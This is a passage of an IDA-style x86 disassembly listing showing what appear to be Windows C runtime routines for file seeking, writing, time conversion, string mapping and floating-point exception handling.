; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB358 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8F4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC948 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC944 nop call near ptr 2650000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CDBC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCD8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCDC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCE0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC700 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB2A8, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2760000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 267064Ch jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC600[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB2A8, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC700 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26E0000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB2A8, 9 mov dword_4DB2AC, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 267064Ch mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26E0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call near ptr 267064Ch nop mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB2A8, 1Ch mov dword_4DB2AC, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB37C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_422B1E mov dword_4DB37C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE5C push esi push edi nop call near ptr 26410C5h test eax, eax jz loc_422C58 mov dword_4DB37C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB37C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26410C5h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2820000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2820000h nop test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2810000h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB380 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB380, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C970 mov edx, dword_43C974 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C900h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C97C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C97C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C97C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C97C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C97C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C97C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C97C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C97C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C97C push 8 call ebx pop ecx mov dword_43C97C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB380, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 263074Eh loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8F8, edx push esi mov eax, offset dword_43C8F8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax 